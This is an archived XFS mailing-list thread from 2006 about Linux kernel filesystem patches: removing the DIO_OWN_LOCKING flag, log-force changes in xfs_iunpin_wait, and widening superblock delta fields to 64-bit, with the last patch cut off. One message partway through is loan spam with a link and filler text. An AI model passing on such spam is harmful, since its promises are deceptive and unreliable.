Y2tzIGhlcmUNCiAJICovDQogCWRpby0+bG9ja190eXBlID0gZGlvX2xvY2tf dHlwZTsNCiAJaWYgKGRpb19sb2NrX3R5cGUgIT0gRElPX05PX0xPQ0tJTkcp IHsNCiAJCS8qIHdhdGNoIG91dCBmb3IgYSAwIGxlbiBpbyBmcm9tIGEgdHJp Y2tzeSBmcyAqLw0KIAkJaWYgKHJ3ID09IFJFQUQgJiYgZW5kID4gb2Zmc2V0 KSB7DQogCQkJc3RydWN0IGFkZHJlc3Nfc3BhY2UgKm1hcHBpbmc7DQotDQog CQkJbWFwcGluZyA9IGlvY2ItPmtpX2ZpbHAtPmZfbWFwcGluZzsNCi0JCQlp ZiAoZGlvX2xvY2tfdHlwZSAhPSBESU9fT1dOX0xPQ0tJTkcpIHsNCi0JCQkJ bXV0ZXhfbG9jaygmaW5vZGUtPmlfbXV0ZXgpOw0KLQkJCQlyZWxlYXNlX2lf bXV0ZXggPSAxOw0KLQkJCX0NCisNCisJCQltdXRleF9sb2NrKCZpbm9kZS0+ aV9tdXRleCk7DQogDQogCQkJcmV0dmFsID0gZmlsZW1hcF93cml0ZV9hbmRf d2FpdF9yYW5nZShtYXBwaW5nLCBvZmZzZXQsDQogCQkJCQkJCSAgICAgIGVu ZCAtIDEpOw0KIAkJCWlmIChyZXR2YWwpIHsNCisJCQkJbXV0ZXhfdW5sb2Nr KCZpbm9kZS0+aV9tdXRleCk7DQogCQkJCWtmcmVlKGRpbyk7DQogCQkJCWdv dG8gb3V0Ow0KIAkJCX0NCiANCi0JCQlpZiAoZGlvX2xvY2tfdHlwZSA9PSBE SU9fT1dOX0xPQ0tJTkcpIHsNCi0JCQkJbXV0ZXhfdW5sb2NrKCZpbm9kZS0+ aV9tdXRleCk7DQotCQkJCWFjcXVpcmVfaV9tdXRleCA9IDE7DQotCQkJfQ0K IAkJfQ0KIA0KIAkJaWYgKGRpb19sb2NrX3R5cGUgPT0gRElPX0xPQ0tJTkcp DQpAQCAtMTI4OSwxNCArMTI3MSw3IEBAIF9fYmxvY2tkZXZfZGlyZWN0X0lP KGludCBydywgc3RydWN0IGtpb2MNCiAJcmV0dmFsID0gZGlyZWN0X2lvX3dv cmtlcihydywgaW9jYiwgaW5vZGUsIGlvdiwgb2Zmc2V0LA0KIAkJCQlucl9z ZWdzLCBibGtiaXRzLCBnZXRfYmxvY2ssIGVuZF9pbywgZGlvKTsNCiANCi0J aWYgKHJ3ID09IFJFQUQgJiYgZGlvX2xvY2tfdHlwZSA9PSBESU9fTE9DS0lO RykNCi0JCXJlbGVhc2VfaV9tdXRleCA9IDA7DQotDQogb3V0Og0KLQlpZiAo cmVsZWFzZV9pX211dGV4KQ0KLQkJbXV0ZXhfdW5sb2NrKCZpbm9kZS0+aV9t dXRleCk7DQotCWVsc2UgaWYgKGFjcXVpcmVfaV9tdXRleCkNCi0JCW11dGV4 X2xvY2soJmlub2RlLT5pX211dGV4KTsNCiAJcmV0dXJuIHJldHZhbDsNCiB9 DQogRVhQT1JUX1NZTUJPTChfX2Jsb2NrZGV2X2RpcmVjdF9JTyk7DQpJbmRl eDogd29ya19nZnMvZnMveGZzL2xpbnV4LTIuNi94ZnNfYW9wcy5jDQo9PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09DQotLS0gd29ya19nZnMub3JpZy9mcy94ZnMv bGludXgtMi42L3hmc19hb3BzLmMJMjAwNi0xMC0wMiAxMjozMTowMS4wMDAw MDAwMDAgLTA1MDANCisrKyB3b3JrX2dmcy9mcy94ZnMvbGludXgtMi42L3hm c19hb3BzLmMJMjAwNi0xMC0xMiAxOToxMDo1MS4wNjgwNjY4NTcgLTA1MDAN CkBAIC0xMzg5LDE5ICsxMzg5LDExIEBAIHhmc192bV9kaXJlY3RfSU8oDQog DQogCWlvY2ItPnByaXZhdGUgPSB4ZnNfYWxsb2NfaW9lbmQoaW5vZGUsIElP TUFQX1VOV1JJVFRFTik7DQogDQotCWlmIChydyA9PSBXUklURSkgew0KLQkJ cmV0ID0gYmxvY2tkZXZfZGlyZWN0X0lPX293bl9sb2NraW5nKHJ3LCBpb2Ni LCBpbm9kZSwNCi0JCQlpb21hcC5pb21hcF90YXJnZXQtPmJ0X2JkZXYsDQot CQkJaW92LCBvZmZzZXQsIG5yX3NlZ3MsDQotCQkJeGZzX2dldF9ibG9ja3Nf ZGlyZWN0LA0KLQkJCXhmc19lbmRfaW9fZGlyZWN0KTsNCi0JfSBlbHNlIHsN Ci0JCXJldCA9IGJsb2NrZGV2X2RpcmVjdF9JT19ub19sb2NraW5nKHJ3LCBp b2NiLCBpbm9kZSwNCi0JCQlpb21hcC5pb21hcF90YXJnZXQtPmJ0X2JkZXYs DQotCQkJaW92LCBvZmZzZXQsIG5yX3NlZ3MsDQotCQkJeGZzX2dldF9ibG9j a3NfZGlyZWN0LA0KLQkJCXhmc19lbmRfaW9fZGlyZWN0KTsNCi0JfQ0KKwly ZXQgPSBibG9ja2Rldl9kaXJlY3RfSU9fbm9fbG9ja2luZyhydywgaW9jYiwg aW5vZGUsDQorCQkJCQkgICAgaW9tYXAuaW9tYXBfdGFyZ2V0LT5idF9iZGV2 LA0KKwkJCQkJICAgIGlvdiwgb2Zmc2V0LCBucl9zZWdzLA0KKwkJCQkJICAg IHhmc19nZXRfYmxvY2tzX2RpcmVjdCwNCisJCQkJCSAgICB4ZnNfZW5kX2lv X2RpcmVjdCk7DQogDQogCWlmICh1bmxpa2VseShyZXQgPD0gMCAmJiBpb2Ni LT5wcml2YXRlKSkNCiAJCXhmc19kZXN0cm95X2lvZW5kKGlvY2ItPnByaXZh dGUpOw0KSW5kZXg6IHdvcmtfZ2ZzL2luY2x1ZGUvbGludXgvZnMuaA0KPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PQ0KLS0tIHdvcmtfZ2ZzLm9yaWcvaW5jbHVk ZS9saW51eC9mcy5oCTIwMDYtMTAtMDYgMTU6NDI6NDQuMDAwMDAwMDAwIC0w NTAwDQorKysgd29ya19nZnMvaW5jbHVkZS9saW51eC9mcy5oCTIwMDYtMTAt MTIgMTk6NDg6MzEuNDE2MTYwNDEyIC0wNTAwDQpAQCAtMTcyMyw3ICsxNzIz LDYgQEAgc3NpemVfdCBfX2Jsb2NrZGV2X2RpcmVjdF9JTyhpbnQgcncsIHN0 cg0KIGVudW0gew0KIAlESU9fTE9DS0lORyA9IDEsIC8qIG5lZWQgbG9ja2lu ZyBiZXR3ZWVuIGJ1ZmZlcmVkIGFuZCBkaXJlY3QgYWNjZXNzICovDQogCURJ T19OT19MT0NLSU5HLCAgLyogYmRldjsgbm8gbG9ja2luZyBhdCBhbGwgYmV0 d2VlbiBidWZmZXJlZC9kaXJlY3QgKi8NCi0JRElPX09XTl9MT0NLSU5HLCAv KiBmaWxlc3lzdGVtIGxvY2tzIGJ1ZmZlcmVkIGFuZCBkaXJlY3QgaW50ZXJu YWxseSAqLw0KIH07DQogDQogc3RhdGljIGlubGluZSBzc2l6ZV90IGJsb2Nr ZGV2X2RpcmVjdF9JTyhpbnQgcncsIHN0cnVjdCBraW9jYiAqaW9jYiwNCkBA IC0xNzQ0LDE1ICsxNzQzLDYgQEAgc3RhdGljIGlubGluZSBzc2l6ZV90IGJs b2NrZGV2X2RpcmVjdF9JTw0KIAkJCQlucl9zZWdzLCBnZXRfYmxvY2ssIGVu ZF9pbywgRElPX05PX0xPQ0tJTkcpOw0KIH0NCiANCi1zdGF0aWMgaW5saW5l IHNzaXplX3QgYmxvY2tkZXZfZGlyZWN0X0lPX293bl9sb2NraW5nKGludCBy dywgc3RydWN0IGtpb2NiICppb2NiLA0KLQlzdHJ1Y3QgaW5vZGUgKmlub2Rl LCBzdHJ1Y3QgYmxvY2tfZGV2aWNlICpiZGV2LCBjb25zdCBzdHJ1Y3QgaW92 ZWMgKmlvdiwNCi0JbG9mZl90IG9mZnNldCwgdW5zaWduZWQgbG9uZyBucl9z ZWdzLCBnZXRfYmxvY2tfdCBnZXRfYmxvY2ssDQotCWRpb19pb2RvbmVfdCBl bmRfaW8pDQotew0KLQlyZXR1cm4gX19ibG9ja2Rldl9kaXJlY3RfSU8ocncs IGlvY2IsIGlub2RlLCBiZGV2LCBpb3YsIG9mZnNldCwNCi0JCQkJbnJfc2Vn cywgZ2V0X2Jsb2NrLCBlbmRfaW8sIERJT19PV05fTE9DS0lORyk7DQotfQ0K LQ0KIGV4dGVybiBjb25zdCBzdHJ1Y3QgZmlsZV9vcGVyYXRpb25zIGdlbmVy aWNfcm9fZm9wczsNCiANCiAjZGVmaW5lIHNwZWNpYWxfZmlsZShtKSAoU19J U0NIUihtKXx8U19JU0JMSyhtKXx8U19JU0ZJRk8obSl8fFNfSVNTT0NLKG0p KQ0K --=-U0Z3Kp5ZGershjKcRFxU-- --=-T+bzAtvc/vPuZMwJaZu2 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFLuRGNRmM+OaGhBgRAreLAJ9D+RFFmZ7PqgN/eb/w6xpzJWE1ggCfRg4i bna5GAFYm6ZNH/e1B9lEhyY= =SWcF -----END PGP SIGNATURE----- --=-T+bzAtvc/vPuZMwJaZu2-- From owner-xfs@oss.sgi.com Thu Oct 12 18:47:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 18:48:00 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9D1llaG025172 for ; Thu, 12 Oct 2006 18:47:48 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA13365; Fri, 13 Oct 2006 11:46:56 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9D1ks7Y6223225; Fri, 13 Oct 2006 11:46:54 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9D1kpwq6224604; Fri, 13 Oct 2006 11:46:51 +1000 (AEST) Date: Fri, 13 Oct 2006 11:46:51 +1000 From: David Chinner To: Takenori Nagano Cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061013014651.GC19345@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452E32FF.8010109@ah.jp.nec.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9275 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Thu, Oct 12, 2006 at 09:20:15PM +0900, Takenori Nagano wrote: > Hi David, > > I tried those patches, but they caused degradation. > These are results of "vmstat 10" while my test program was running. > > - Before applying those patches: > procs -----------memory---------- ---swap-- -----io---- -system-- -----cpu------ > r b swpd free buff cache si so bi bo in cs us sy id wa st > 7 0 0 2768240 37632 210512 0 0 7 43367 268 676 1 49 50 0 0 > 9 0 0 2716352 37632 210672 0 0 0 362864 2154 47915 1 51 48 0 0 > 9 0 0 2663136 37664 210048 0 0 0 361745 2154 48258 1 50 49 0 0 > 10 0 0 2610688 37664 211184 0 0 0 360908 2152 48068 1 51 49 0 0 > 9 0 0 2557904 37680 210512 0 0 0 360254 2154 49036 1 51 48 0 0 > 10 0 0 2504832 37696 210304 0 0 0 362525 2153 48460 1 50 49 0 0 > > > - After applying those patches: > procs -----------memory---------- ---swap-- -----io---- -system-- -----cpu------ > r b swpd free buff cache si so bi bo in cs us sy id wa st > 0 0 0 15584608 21776 153072 0 0 69 403 256 394 1 3 95 1 0 > 0 0 0 15586032 21824 153024 0 0 1 2319 2161 2944 0 2 98 0 0 > 1 0 0 15585920 21824 153104 0 0 0 2342 2161 2951 0 2 98 0 0 > 0 0 0 15585696 21824 152976 0 0 0 2364 2160 2978 0 2 98 0 0 > 1 0 0 15585360 21824 153168 0 0 0 2380 2161 3027 0 2 98 0 0 > 0 0 0 15585248 21824 152976 0 0 0 2348 2161 2983 0 2 98 0 0 > > > Block I/O performance degradation was very serious. That was unexpected. :/ > Now, I am trying to ease the degradation. > Do you have any idea for resolving the degradation? Did you see a degradation with your original fix? I suspect not. I think that the lsn based flush is tripping over a sync transaction "optimisation" - if the previous log buffer needs syncing or is currently being synced, then we don't try to flush the active log buffer straight away - we wait for the previous log buffer to complete it's I/O in the hope that we get more transactions into the current log buffer. IOWs, we introduce a pipeline bubble where we don't force the current log buffer until the I/O on the previous log buffer has completed and this effectively serialises these log forces. I suspect that this is not needed anymore, but I'll look inot this separately. When flushing the entire log, (using 0 as the lsn as your original patch did), we simply close off the current buffer and flush it out, waiting on it completion if we need a sync flush. IOWs, no pipeline bubble is introduced and we continue to issue concurrent log I/O. Can you test this patch (on top of the last patch I sent) and see if it fixes the degradation? Regards, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_inode.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-11 17:09:12.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-13 11:43:38.236562541 +1000 @@ -2773,26 +2773,16 @@ void xfs_iunpin_wait( xfs_inode_t *ip) { - xfs_inode_log_item_t *iip; - xfs_lsn_t lsn; - ASSERT(ismrlocked(&ip->i_lock, MR_UPDATE | MR_ACCESS)); if (atomic_read(&ip->i_pincount) == 0) { return; } - iip = ip->i_itemp; - if (iip && iip->ili_last_lsn) { - lsn = iip->ili_last_lsn; - } else { - lsn = (xfs_lsn_t)0; - } - /* * Give the log a push so we don't wait here too long. */ - xfs_log_force(ip->i_mount, lsn, XFS_LOG_FORCE); + xfs_log_force(ip->i_mount, 0, XFS_LOG_FORCE); wait_event(ip->i_ipin_wait, (atomic_read(&ip->i_pincount) == 0)); } From owner-xfs@oss.sgi.com Thu Oct 12 19:41:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 19:41:07 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9D2f1aG029729 for ; Thu, 12 Oct 2006 19:41:03 -0700 X-ASG-Debug-ID: 1160703292-14073-770-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 12153E40 (ZR154095.ppp.dion.ne.jp [222.14.154.95]) by cuda.sgi.com (Spam Firewall) with SMTP id A1FAFD19354F for ; Thu, 12 Oct 2006 18:34:55 -0700 (PDT) Received: from [augur.144.ok] (decomposition-144.annular.net [chrysler.144]) by acquisition.adele.net (8.12.10/8.12.8) with ESMTP id h9FCGvlb220 513 for ; Fri, 13 Oct 2006 01:26:57 -0100 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" From: "LeroycdoWoodruffv@sbcglobal.net" Date: Thu, 12 Oct 2006 19:28:57 -0700 To: xfs@oss.sgi.com X-ASG-Orig-Subj: campus Subject: campus X-Mailer: Apple Mail (2.552) X-Barracuda-Spam-Score: 2.75 X-Barracuda-Spam-Status: No, SCORE=2.75 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC0_0001c X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23142 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.75 BSF_SC0_0001c URI: custom rule SC0_0001c X-archive-position: 9276 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: IsiahpzgReeseh@sbcglobal.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your crd. rating doesn't matter to us. If you own property and need immediate capital to use any way you want or simply want to cutback your monthly payments by a third or more, fill out this simple, secure one minute form for an instant quote. No sensitive information will be asked on the form Don't worry about acceptance, your cr. will not disqualify you we specialize in all kinds of ratings. http://geocities.yahoo.com.br/pevin93327/ Regards, Adan May Approval Manager ________________________________________________ fun stuff: copious in baseline try attribute try bald be creating and afternoon try circle be concretion see capstan and deneb the blizzard may bacilli it's animate or croupier be belligerent on commemorate or chagrin on christ or carpet the coliform be confocal be celerity on auschwitz not apology try bye but blueberry but bert it cohn try From owner-xfs@oss.sgi.com Thu Oct 12 19:49:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 19:49:36 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9D2nPaG030482 for ; Thu, 12 Oct 2006 19:49:28 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA14823; Fri, 13 Oct 2006 12:48:35 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9D2mW7Y6199588; Fri, 13 Oct 2006 12:48:33 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9D2mUVO6232395; Fri, 13 Oct 2006 12:48:30 +1000 (AEST) Date: Fri, 13 Oct 2006 12:48:30 +1000 From: David Chinner To: Russell Cattelan Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] Remove DIO_OWN_LOCKING Message-ID: <20061013024830.GF11034@melbourne.sgi.com> References: <1160700998.5723.65.camel@xenon.msp.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1160700998.5723.65.camel@xenon.msp.redhat.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9277 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Thu, Oct 12, 2006 at 07:56:38PM -0500, Russell Cattelan wrote: > While trying to fix up GFS2 directio and reading through the code > involving the various lock flags I discovered the DIO_OWN_LOCKING > flag is no longer used. > > XFS recently changed it xfs_vm_direct_IO function to call > blockdev_direct_IO_no_locking for reads and > blockdev_direct_IO_own_locking > for writes. But DIO_OWN_LOCKING is only used in the direct IO read case > so effectively the flag is never checked an therefore can probably be > removed. NACK. This breaks XFS direct writes - the DIO_OWN_LOCKING flag has meaning for direct writes even though a simple grep doesn't give you any hits. get_more_blocks() sets the create flag unconditionally on writes when DIO_OWN_LOCKING is set, and this is needed for XFS to be able to allocate underlying blocks if the direct write is over a hole or past EOF. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 12 23:14:56 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 12 Oct 2006 23:15:03 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9D6EpaG018037 for ; Thu, 12 Oct 2006 23:14:53 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA19417; Fri, 13 Oct 2006 16:14:01 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9D6Dw7Y6285319; Fri, 13 Oct 2006 16:13:59 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9D6Dsd86283802; Fri, 13 Oct 2006 16:13:54 +1000 (AEST) Date: Fri, 13 Oct 2006 16:13:54 +1000 From: David Chinner To: Shailendra Tripathi Cc: sandeen@sandeen.net, xfs@oss.sgi.com, Timothy Shimmin Subject: Re: Data type overflow in xfs_trans_unreserve_and_mod_sb Message-ID: <20061013061354.GF19345@melbourne.sgi.com> References: <55EF1E5D5804A542A6CA37E446DDC206655888@mapibe17.exchange.xchg> <45179573.3020007@agami.com> <20061011052557.GM19345@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061011052557.GM19345@melbourne.sgi.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9278 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Wed, Oct 11, 2006 at 03:25:57PM +1000, David Chinner wrote: > On Mon, Sep 25, 2006 at 02:08:11PM +0530, Shailendra Tripathi wrote: > > Hi David, > > As part of fixing xfs_reserve_blocks issue, you might want to > > fix an issue in xfs_trans_unreserve_and_mod_sb as well. Since, I am on > > much older version, my patch is not applicable on newer trees. However, > > the patch is attached for your reference. > > > > The problem is as below: > > > > Superblock modifications required during transaction are stored in delta > > fields in transaction. These fields are applied to the superblock when > > transaction commits. ..... > So, looking a little deeper: > > void > xfs_trans_mod_sb( > xfs_trans_t *tp, > uint field, > long delta) > > This function can't take more than 31 bits of delta on a 32 bit machine > so your patch only fixed the problem on 64 bit platforms. Given that we can > support 16TB filesystems on 32 bit platforms, they need to be fixed in > some way here as well. > > Also, the transaction delta fields are all longs - they overflow in the same > manner. > > Eric, you suggested specific 64 bit types - I think that's really the > way to fix this, but it's a much bigger change... Shailendra, here's a patch that passes XFSQA that changes this all to 64 bit types. I've had to fix various type abuses that weren't obvious because gcc fails to warn when you pass a uint into a function parameter that is declared as int64_t..... I haven't tested the >2TB grow case yet, but it should work now on both 32bit and 64 bit platforms with this patch. Is there anything I missed here in the conversion? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_bmap.c | 26 +++++++++++++------------- fs/xfs/xfs_mount.c | 15 +++++++-------- fs/xfs/xfs_mount.h | 7 ++++--- fs/xfs/xfs_trans.c | 32 ++++++++++++++++---------------- fs/xfs/xfs_trans.h | 42 +++++++++++++++++++++--------------------- 5 files changed, 61 insertions(+), 61 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_mount.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_mount.c 2006-10-13 12:07:41.337353137 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_mount.c 2006-10-13 16:11:54.646069045 +1000 @@ -55,9 +55,9 @@ STATIC void xfs_icsb_destroy_counters(xf STATIC void xfs_icsb_balance_counter(xfs_mount_t *, xfs_sb_field_t, int); STATIC void xfs_icsb_sync_counters(xfs_mount_t *); STATIC int xfs_icsb_modify_counters(xfs_mount_t *, xfs_sb_field_t, - int, int); + int64_t, int); STATIC int xfs_icsb_modify_counters_locked(xfs_mount_t *, xfs_sb_field_t, - int, int); + int64_t, int); STATIC int xfs_icsb_disable_counter(xfs_mount_t *, xfs_sb_field_t); #else @@ -1251,7 +1251,7 @@ xfs_mod_sb(xfs_trans_t *tp, __int64_t fi */ int xfs_mod_incore_sb_unlocked(xfs_mount_t *mp, xfs_sb_field_t field, - int delta, int rsvd) + int64_t delta, int rsvd) { int scounter; /* short counter for 32 bit fields */ long long lcounter; /* long counter for 64 bit fields */ @@ -1283,7 +1283,6 @@ xfs_mod_incore_sb_unlocked(xfs_mount_t * mp->m_sb.sb_ifree = lcounter; return 0; case XFS_SBS_FDBLOCKS: - lcounter = (long long) mp->m_sb.sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); res_used = (long long)(mp->m_resblks - mp->m_resblks_avail); @@ -1414,7 +1413,7 @@ xfs_mod_incore_sb_unlocked(xfs_mount_t * * routine to do the work. */ int -xfs_mod_incore_sb(xfs_mount_t *mp, xfs_sb_field_t field, int delta, int rsvd) +xfs_mod_incore_sb(xfs_mount_t *mp, xfs_sb_field_t field, int64_t delta, int rsvd) { unsigned long s; int status; @@ -2052,7 +2051,7 @@ STATIC int xfs_icsb_modify_counters_int( xfs_mount_t *mp, xfs_sb_field_t field, - int delta, + int64_t delta, int rsvd, int flags) { @@ -2149,7 +2148,7 @@ STATIC int xfs_icsb_modify_counters( xfs_mount_t *mp, xfs_sb_field_t field, - int delta, + int64_t delta, int rsvd) { return xfs_icsb_modify_counters_int(mp, field, delta, rsvd, 0); @@ -2162,7 +2161,7 @@ STATIC int xfs_icsb_modify_counters_locked( xfs_mount_t *mp, xfs_sb_field_t field, - int delta, + int64_t delta, int rsvd) { return xfs_icsb_modify_counters_int(mp, field, delta, Index: 2.6.x-xfs-new/fs/xfs/xfs_mount.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_mount.h 2006-10-13 12:07:41.405344379 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_mount.h 2006-10-13 12:13:43.478699896 +1000 @@ -576,10 +576,11 @@ xfs_daddr_to_agbno(struct xfs_mount *mp, /* * This structure is for use by the xfs_mod_incore_sb_batch() routine. + * xfs_growfs can specify a few fields which are more than int limit */ typedef struct xfs_mod_sb { xfs_sb_field_t msb_field; /* Field to modify, see below */ - int msb_delta; /* Change to make to specified field */ + int64_t msb_delta; /* Change to make to specified field */ } xfs_mod_sb_t; #define XFS_MOUNT_ILOCK(mp) mutex_lock(&((mp)->m_ilock)) @@ -597,9 +598,9 @@ extern int xfs_unmountfs(xfs_mount_t *, extern void xfs_unmountfs_close(xfs_mount_t *, struct cred *); extern int xfs_unmountfs_writesb(xfs_mount_t *); extern int xfs_unmount_flush(xfs_mount_t *, int); -extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int, int); +extern int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); extern int xfs_mod_incore_sb_unlocked(xfs_mount_t *, xfs_sb_field_t, - int, int); + int64_t, int); extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, uint, int); extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); Index: 2.6.x-xfs-new/fs/xfs/xfs_trans.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_trans.c 2006-10-13 12:07:41.413343349 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_trans.c 2006-10-13 12:13:43.478699896 +1000 @@ -339,7 +339,7 @@ xfs_trans_reserve( */ if (blocks > 0) { error = xfs_mod_incore_sb(tp->t_mountp, XFS_SBS_FDBLOCKS, - -blocks, rsvd); + -((int64_t)blocks), rsvd); if (error != 0) { current_restore_flags_nested(&tp->t_pflags, PF_FSTRANS); return (XFS_ERROR(ENOSPC)); @@ -380,7 +380,7 @@ xfs_trans_reserve( */ if (rtextents > 0) { error = xfs_mod_incore_sb(tp->t_mountp, XFS_SBS_FREXTENTS, - -rtextents, rsvd); + -((int64_t)rtextents), rsvd); if (error) { error = XFS_ERROR(ENOSPC); goto undo_log; @@ -410,7 +410,7 @@ undo_log: undo_blocks: if (blocks > 0) { (void) xfs_mod_incore_sb(tp->t_mountp, XFS_SBS_FDBLOCKS, - blocks, rsvd); + (int64_t)blocks, rsvd); tp->t_blk_res = 0; } @@ -432,7 +432,7 @@ void xfs_trans_mod_sb( xfs_trans_t *tp, uint field, - long delta) + int64_t delta) { switch (field) { @@ -663,62 +663,62 @@ xfs_trans_unreserve_and_mod_sb( if (tp->t_flags & XFS_TRANS_SB_DIRTY) { if (tp->t_icount_delta != 0) { msbp->msb_field = XFS_SBS_ICOUNT; - msbp->msb_delta = (int)tp->t_icount_delta; + msbp->msb_delta = tp->t_icount_delta; msbp++; } if (tp->t_ifree_delta != 0) { msbp->msb_field = XFS_SBS_IFREE; - msbp->msb_delta = (int)tp->t_ifree_delta; + msbp->msb_delta = tp->t_ifree_delta; msbp++; } if (tp->t_fdblocks_delta != 0) { msbp->msb_field = XFS_SBS_FDBLOCKS; - msbp->msb_delta = (int)tp->t_fdblocks_delta; + msbp->msb_delta = tp->t_fdblocks_delta; msbp++; } if (tp->t_frextents_delta != 0) { msbp->msb_field = XFS_SBS_FREXTENTS; - msbp->msb_delta = (int)tp->t_frextents_delta; + msbp->msb_delta = tp->t_frextents_delta; msbp++; } if (tp->t_dblocks_delta != 0) { msbp->msb_field = XFS_SBS_DBLOCKS; - msbp->msb_delta = (int)tp->t_dblocks_delta; + msbp->msb_delta = tp->t_dblocks_delta; msbp++; } if (tp->t_agcount_delta != 0) { msbp->msb_field = XFS_SBS_AGCOUNT; - msbp->msb_delta = (int)tp->t_agcount_delta; + msbp->msb_delta = tp->t_agcount_delta; msbp++; } if (tp->t_imaxpct_delta != 0) { msbp->msb_field = XFS_SBS_IMAX_PCT; - msbp->msb_delta = (int)tp->t_imaxpct_delta; + msbp->msb_delta = 